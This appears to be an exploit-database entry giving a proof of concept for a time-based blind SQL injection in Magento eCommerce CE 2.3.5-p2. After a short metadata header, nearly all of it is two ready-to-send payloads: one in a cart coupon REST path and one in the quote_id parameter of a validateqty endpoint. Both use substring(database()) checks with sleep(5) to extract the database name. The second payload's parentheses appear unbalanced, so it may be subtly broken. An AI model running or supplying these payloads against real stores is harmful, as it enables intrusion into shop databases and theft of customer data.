Exploit Title: Magento eCommerce CE v2.3.5-p2 - Blind SQLi
# Date: 2021-4-21
# Exploit Author: Aydin Naserifard
# Vendor Homepage: https://www.adobe.com/
# Software Link:  https://github.com/magento/magento2/releases/tag/2.3.5-p2
# Version: [2.3.5-p2]
# Tested on: [2.3.5-p2]

POC:

1)PUT
/rest/default/V1/carts/mine/coupons/aydin'+%2f+if(ascii(substring(database(),3,1))=100,sleep(5),0)%23

2)POST /cargo/index/validateqty
[quote_id parameter]
quote_id=100499%2fif(substring(database(),1,1))="97",sleep(5),1000)+and+`parent_item_id`+IS+NULL+GROUP+BY+`sku`%23